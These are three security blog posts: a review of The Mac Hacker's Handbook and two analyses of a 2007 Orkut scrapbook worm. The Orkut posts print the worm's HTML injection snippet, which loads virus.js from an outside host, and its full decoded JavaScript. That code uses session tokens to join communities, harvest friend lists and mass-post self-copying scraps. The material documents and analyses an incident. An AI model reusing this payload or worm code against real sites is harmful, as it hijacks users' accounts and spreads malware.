Monday, May 11, 2009

The Mac Hacker's Handbook



The Mac Hacker's Handbook is the best reference for Mac-specific attack information that I have found. At 368 pages, it may appear small compared to the typical 750+ page security tome. That's because the authors have done a near-perfect job of sticking to the topic at hand, the Mac. The authors do not succumb to the usual temptation to try and teach assembly language or reverse engineering. Rather, they do an excellent job touching on those topics in an OS X context, and assume the reader has a little background in that area already, or can otherwise keep up. I have done some limited research into the areas of Mac malware and process injection in the past. This book has done a fantastic job of filling in many holes in my knowledge that I hadn't been able to take care of before. Plus, it introduced me to a number of Mac-specific security features I wasn't aware of before. Highly recommended for anyone interested in Mac security.

Detailed commentary follows.

The authors Charlie Miller and Dino Dai Zovi have impressed me on several levels.

A couple of years ago, I did a presentation of Mac malware, where I researched some similar areas on my own. The purpose of my talk was to demonstrate that the privilege separation on a typical single-user OS X box made no difference, because an attacker could do everything they need from user mode.

My skills are somewhere between beginner and intermediate in the areas of programming, reverse engineering, vulnerability research and exploit writing. With a lot of work, I was able to create a very crude keyboard sniffer by attaching a library to launched processes. In one chapter (chapter 11), this book spelled out everything I needed to know and more. And implements several useful injected components in a much more flexible way than I was able to. I could have really used this information then.

I ran across many of the same libraries and examples that the authors reference in the book. However, they were mostly code examples with no context, intended to be groked by hard-core Mac programmers. Here, they are presented in an actual understandable way, building on examples as they go. It makes a huge difference. The level of writing meshed perfectly with my past knowledge and filled in the holes I had. I have an advantage over a rank beginner, but I suspect they have reached as wide an audience as is possible with their writing.

They do this consistently throughout the book. And this is what really made this an excellent book for me, was the actual writing. You'll have to excuse me if I geek out a little bit on this topic, but I've written a few technical books myself, and I have a great appreciation for how hard it is to do this well.

There are many traps one can fall into when writing a book like this. A lot of the topics are circular. As in, it's difficult to pick a sane order to follow, and not repeat a lot of information. There's always a temptation to try and show off advanced topics, and not adequately cover the intro material. It's easy to get lazy and not put the time into explaining a concept, assuming everyone knows it. Authors sometimes dump a lot of pictures and code on the reader for length.

These authors fell for none of these. The ordering of topics and advancing difficulty seem ideal. Code is almost uniformly useful and well-documented. They don't beat you over the head with example after example for the same topic. Rather than attempting to include a complete PowerPC and x86 instruction reference, they give you the minimum set of instructions that they used. The pacing was great. I was neither bored reading things I knew, nor unable to keep up with the material (until I struggled slightly to absorb the last chapter or two.)

Production values are good. The price is great, the length is very appropriate. Editing is good. (Not perfect; I spotted a dozen very minor typos. But then, I can't turn off my internal proofreader anymore, you're unlikely to notice most if any of those.)

There are other minor things to appreciate if you've been around vulnerabilities and exploits for a while. I feel like they did a great job explaining heap exploitation, compared to other attempts I've read. I very much enjoyed the little bits of history when they discuss who pioneered a particular technique. Most of Dino's code has a date in the comments, so you have some idea what was known at the time.

I'd go so far as to say that this book really is a general book about how to find and exploit vulnerabilities, using the Mac as your research platform. And it turns out that the Mac is a great place to learn.

Wednesday, December 19, 2007

More on Orkut worm

Yes, my HTML/Javascript-fu is weak. So much so that I didn't know we were dealing with pure Javascript. Javascript that just happens to exist to facilitate posting Flash movies and games, so that's why it has "Flash" written all over it.

To back up several steps... I received an email from Orkut saying that someone I know had left me a scrapbook entry. I went and looked at it, and was puzzling over the non-Englishness of it from someone whom I know is an English speaker. Of course during that time my browser (Firefox on OS X) was busy doing the same to my Orkut contacts. Sorry about that guys!

One of them is Jeremy Rauch. Within minutes of me looking at my scrapbook, I get email that Jeremy and others have now left me new scrapbook entries. This is about when I start to guess what's going on. I mail Jeremy to point out that he seems to have it now, and he says he knows... I gave it to him. Whoops! Jeremy was skeptical that Flash was really involved, since he has it blocked in his browser by default. He was right.

So here is what I think is happening, to the best of my ability as someone with weak Javascript-fu. Take a look at the chunk of HTML that ends up as a scrapbook entry that I posted earlier.

It obviously pulls in a chunk of Javascript that is even named "virus.js". But why all the trickery with the Shockwave and flash stuff? If Orkut allows posting raw HTML, why the games? Why not just source virus.js and be done with it?

So I did some experiments tonight. I tried the old script, alert 'hello I'm an XSS', etc... and that doesn't work. It says my rich content was rejected, see here.

And yet, I can paste in a much more complicated embed a flash movie expression, and that DOES work. Though, it made me fill in a CAPTCHA. I suspect that CAPTCHA is brand new as of tonight, otherwise I'm not seeing how the worm worked so well.

So the basic security challenge for Orkut here is that they want to allow some arbitrary HTML, but not others. As we have seen for many years with web-based email, that's a pretty hard problem to solve.

So that's why the hoops to jump through. The worm author needed something that looked like a flash movie so that Orkut would allow posting it, but in fact allowed him to pull in arbitrary Javascript.

This is where the SWFObject library comes into play. Its purpose in life seems to be to make it easier to embed Flash stuff and have it play properly. Orkut is nice enough to make this library available to every browser that loads the Scrapbook (and probably other) pages. They keep it at http://img2.orkut.com/js/gen/scraps006.js, which they source for you.

It looks to me like the worm author is able to build a SWFObject that includes the Javascript and causes it to be embedded in the Orkut page, thereby acting in the right context to have access to your Orkut cookies and all the good stuff that an AJAX worm needs. MySpace isn't alone in having all the good Web 2.0 worms anymore.

Jeremy decoded and prettied up the obfuscated Javascript. You can see that code at the end. If you're watching carefully, you'll see this version has a different message as the scrap body than the one I originally posted. That means the person (presumably the worm author) who controls the virus.js download page has revved the file at least one. I have two different (obfuscated) versions. Since I believe Orkut was taking active measures to shut this thing down, I'm guessing the author changes the text in case Orkut was keying off that.

Like I mentioned before, if the CAPTCHA is new, that should essentially stop this thing from spreading. This kind of worm has interesting implications for social sites. If this gets to be really common, it means you'll be answering CAPTCHAs or something similar left and right.

Also worth noting is that stopping the worm doesn't stop other interesting attacks. I was still able to post the same embed chunk of code to my own scrapbook as an experiment, I just had to answer the CAPTCHA. So a human could still put something there. If they can use it to run Javascript, that still leaves open attacks where they can steal your cookies.

It looks like the immediate problem is over. I probably won't have a lot more technical to say on this one. I hope that the Jeremiahs and RSnakes of the world will jump in soon and tell me how the worm actually works.

Decoded Javascript:

var index=0;
var POST=JSHDF["CGI.POST_TOKEN"];
var SIG=JSHDF["Page.signature.raw"];

function createXMLHttpRequest(){
try {
return new
ActiveXObject("Msxml2.XMLHTTP")
}
catch(e){
} ;

try {
return new ActiveXObject("Microsoft.XMLHTTP")
}
catch(e){
};

try {
return new XMLHttpRequest()
}
catch(e){
} ;
return null
};

function setCookie(name,value,expires,path,domain,secure){
var curCookie=name+"="+escape(value)+(expires?";expires="+expires.toGMTString():"")+(path?";path="+path:"")+(domain?";domain="+domain:"")+(secure?";secure":"");
document.cookie=curCookie
};

function getCookie(name){
var dc=document.cookie;
var prefix=name+"=";
var begin=dc.indexOf(";"+prefix);
if(begin==-1){
begin=dc.indexOf(prefix);
if(begin!=0){
return false
}
} else {
begin+=2
};
var end=document.cookie.indexOf(";",begin);

if(end==-1){
end=dc.length
};
return unescape(dc.substring(begin+prefix.length,end))
};

function deleteCookie(name,path,domain){
if(getCookie(name)){ document.cookie=name+"="+(path?";path="+path:"")+(domain?";domain="+domain:"")+";expires=Thu, 01-Jan-70 00:00:01 GMT";
history.go(0)
}
};

function loadFriends(){
var xml=createXMLHttpRequest();
if(xml){
xml.open("GET","http://www.orkut.com/Compose.aspx",true);
xml.send(null);
xml.onreadystatechange=function(){
if(xml.readyState==4){
if(xml.status==200){
var xmlr=xml.responseText;
var div=document.createElement("div");
div.innerHTML=xmlr;
var select=div.getElementsByTagName("select").item(0);
if(select){
select.removeChild(select.getElementsByTagName("option").item(0));
select.setAttribute("id","selectedList");
select.style.display="none";
document.body.appendChild(select);
sendScrap()
}
} else {
loadFriends()
}
}
};
xml.send(null)
}
};


function cmm_join(){
var send="POST_TOKEN="+encodeURIComponent(POST)+"&signature="+encodeURIComponent(SIG)+"&Action.join";
var xml=createXMLHttpRequest();
xml.open('POST','http://www.orkut.com/CommunityJoin.aspx?cmm='+String.fromCharCode(52,52,48,48,49,56,49,56),true);
xml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xml.send(send);
xml.onreadystatechange=function(){
if(xml.readyState==4){
if(xml.status!=200){
cmm_join();
return
};
loadFriends()
}
}
};

function sendScrap(){
if(index==document.getElementById("selectedList").length){
return
};
var scrapText="Boas festas de final de ano![silver]"+new Date().getTime()+"[/silver] ";
var send="Action.submit=1&POST_TOKEN="+encodeURIComponent(POST)+"&scrapText="+encodeURIComponent(scrapText)+"&signature="+encodeURIComponent(SIG)+"&toUserId="+document.getElementById("selectedList").item(index).value;

var xml=createXMLHttpRequest();
xml.open("POST","http://www.orkut.com/Scrapbook.aspx",true);
xml.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xml.send(send);
xml.onreadystatechange=function(){
if(xml.readyState==4){
index++;
var wDate=new Date;
wDate.setTime(wDate.getTime()+86400);
setCookie('wormdoorkut',index,wDate);
sendScrap()
}
}
};

if(!getCookie('wormdoorkut')){
var wDate=new Date;
wDate.setTime(wDate.getTime()+86400);
setCookie('wormdoorkut','0',wDate)
};

index=getCookie('wormdoorkut');
cmm_join();

Tuesday, December 18, 2007

Orkut "virus"

More of a worm, actually.

I had an email from Orkut this evening telling me I had a new scrapbook entry. I don't really use Orkut, but I signed up a while back, and friended a bunch of people I know. The scrapbook entry was a bit cryptic:
2008 vem ai... que ele comece mto bem para vc


I still don't know exactly what it means, I'm assuming it's Portuguese. Babelfish wasn't any help. I won't mention who I got it from, but I will admit that if you are friended by me on Orkut, I probably gave you a copy too. Fortunately, it looks like Orkut is actively and quickly deleting them, to stop the spread. I say completely unsarcastically, good job Orkut on the quick response!

I haven't done any kind of through analysis yet, but it looks like a Javascript worm that kicks in via a Flash XSS? My HTML/Javascript/Flash-fu is pretty darn weak. This is what it looked like:

<div id="flashDiv295378627"><embed type="application/x-shockwave-flash" src="Scrapbook_files/LoL.html" style="" id="295378627" name="295378627" bgcolor="#FFFFFF" quality="autohigh" wmode="transparent" allownetworking="internal" allowscriptaccess="never" height="1" width="1"></embed></div><script type="text/javascript"> var flashWriter = new _SWFObject('http://www.orkut.com/LoL.aspx', '295378627', '1', '1', '9', '#FFFFFF', 'autohigh', '', '', '295378627'); flashWriter._addParam('wmode', 'transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape(''); flashWriter._addParam('allowNetworking', 'internal'); flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv295378627');</script>

Looks like it joins you to an Orkut group, too:

Infectados pelo VĂ­rus do Orkut.

Owner of the group is a new-looking account named "Virus do Orkut". Also, listed at the end of the virus.js file is this: author="Rodrigo Lacerda"